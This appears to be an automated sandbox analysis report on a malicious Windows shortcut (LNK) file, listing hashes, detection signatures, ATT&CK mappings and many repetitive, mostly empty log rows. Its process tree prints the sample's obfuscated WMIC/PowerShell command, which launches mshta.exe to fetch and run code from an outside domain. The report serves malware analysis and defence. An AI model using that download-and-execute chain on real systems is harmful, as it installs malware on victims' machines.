Edit tour
Windows
Analysis Report
K9esyY0r4G.lnk
Overview
General Information
| Sample name: | K9esyY0r4G.lnkrenamed because original name is a hash value |
| Original sample name: | ed0e0fc1ef780ad73eb559719a3621e1.lnk |
| Analysis ID: | 1581246 |
| MD5: | ed0e0fc1ef780ad73eb559719a3621e1 |
| SHA1: | a739f5a4cb67f3b8ea5b4b5d08e35c4a60f8bd8c |
| SHA256: | 6c8573069dadedd4fb861b3de01f94a87024f872fdd51652ad8959443851b333 |
| Tags: | lnkuser-abuse_ch |
| Infos: |  |
 | |
Detection
| Score: | 88 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Contains functionality to create processes via WMI
Creates processes via WMI
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Suspicious Process Created Via Wmic.EXE
Windows shortcut file (LNK) contains suspicious command line arguments
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Classification
- System is w10x64
WMIC.exe (PID: 7608 cmdline: "C:\Window s\System32 \Wbem\wmic .exe" proc ess call c reate "pow ershell -w 1 powersh ell -Comma nd ('ms' + 'hta' + ' .exe ' + ' https://ne xtgencodin g.cyou/asd /amber3')" MD5: C37F2F4F4B3CD128BDABCAEB2266A785) 
conhost.exe (PID: 7616 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 7684 cmdline: powershell -w 1 powe rshell -Co mmand ('ms ' + 'hta' + '.exe ' + 'https:/ /nextgenco ding.cyou/ asd/amber3 ') MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7692 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7864 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " mshta.exe https://ne xtgencodin g.cyou/asd /amber3" MD5: 04029E121A0CFA5991749937DD22A1D9) 
mshta.exe (PID: 7944 cmdline: "C:\Window s\system32 \mshta.exe " https:// nextgencod ing.cyou/a sd/amber3 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)
svchost.exe (PID: 8052 cmdline: C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
⊘No configs have been found
⊘No yara matches
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: | ||
| Source: | Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): | ||
| Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): | ||
| Source: | Author: vburov: | ||
⊘No Suricata rule has matched
- • AV Detection
- • Compliance
- • Networking
- • System Summary
- • Data Obfuscation
- • Persistence and Installation Behavior
- • Hooking and other Techniques for Hiding and Protection
- • Malware Analysis System Evasion
- • Anti Debugging
- • HIPS / PFW / Operating System Protection Evasion
- • Language, Device and Operating System Detection
Click to jump to signature section
Show All Signature Results
AV Detection | |
|---|
| Source: | Avira URL Cloud: | ||
| Source: | Avira URL Cloud: | ||
| Source: | Virustotal: | Perma Link | ||
| Source: | ReversingLabs: | |||
| Source: | Integrated Neural Analysis Model: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | ASN Name: | ||
| Source: | JA3 fingerprint: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | DNS traffic detected: | ||
| Source: | HTTP traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
System Summary | |
|---|
| Source: | Binary or memory string: | memstr_b0ab49a0-a | |
| Source: | LNK file: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Classification label: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | Mutant created: | ||
| Source: | Mutant created: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | WMI Queries: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Virustotal: | ||
| Source: | ReversingLabs: | ||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Section loaded: | Jump to behavior | ||
| Source: | Key value queried: | Jump to behavior | ||
| Source: | LNK file: | ||
| Source: | Key opened: | Jump to behavior | ||
| Source: | Window detected: | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Code function: | 4_2_00007FFD9B7D233D | |
| Source: | Code function: | 4_2_00007FFD9B7D00C1 | |
Persistence and Installation Behavior | |
|---|
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | |||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | WMI Queries: | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Process information set: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep count: | Jump to behavior | ||
| Source: | Thread sleep count: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Process information queried: | Jump to behavior | ||
| Source: | Process token adjusted: | Jump to behavior | ||
| Source: | Process token adjusted: | Jump to behavior | ||
| Source: | Memory allocated: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | 21 Windows Management Instrumentation | 1 DLL Side-Loading | 11 Process Injection | 11 Masquerading | OS Credential Dumping | 11 Security Software Discovery | Remote Services | 1 Email Collection | 1 Encrypted Channel | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
| Credentials | Domains | Default Accounts | Scheduled Task/Job | Boot or Logon Initialization Scripts | 1 DLL Side-Loading | 1 Disable or Modify Tools | LSASS Memory | 11 Process Discovery | Remote Desktop Protocol | Data from Removable Media | 3 Ingress Tool Transfer | Exfiltration Over Bluetooth | Network Denial of Service |
| Email Addresses | DNS Server | Domain Accounts | At | Logon Script (Windows) | Logon Script (Windows) | 31 Virtualization/Sandbox Evasion | Security Account Manager | 31 Virtualization/Sandbox Evasion | SMB/Windows Admin Shares | Data from Network Shared Drive | 3 Non-Application Layer Protocol | Automated Exfiltration | Data Encrypted for Impact |
| Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | Login Hook | 11 Process Injection | NTDS | 1 Application Window Discovery | Distributed Component Object Model | Input Capture | 14 Application Layer Protocol | Traffic Duplication | Data Destruction |
| Gather Victim Network Information | Server | Cloud Accounts | Launchd | Network Logon Script | Network Logon Script | 1 Obfuscated Files or Information | LSA Secrets | 1 File and Directory Discovery | SSH | Keylogging | Fallback Channels | Scheduled Transfer | Data Encrypted for Impact |
| Domain Properties | Botnet | Replication Through Removable Media | Scheduled Task | RC Scripts | RC Scripts | 1 DLL Side-Loading | Cached Domain Credentials | 23 System Information Discovery | VNC | GUI Input Capture | Multiband Communication | Data Transfer Size Limits | Service Stop |
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetThis section contains all screenshots as thumbnails, including those not shown in the slideshow.
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 36% | Virustotal | Browse | ||
| 21% | ReversingLabs | Win32.Trojan.Pantera |
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 100% | Avira URL Cloud | malware | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 100% | Avira URL Cloud | malware | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
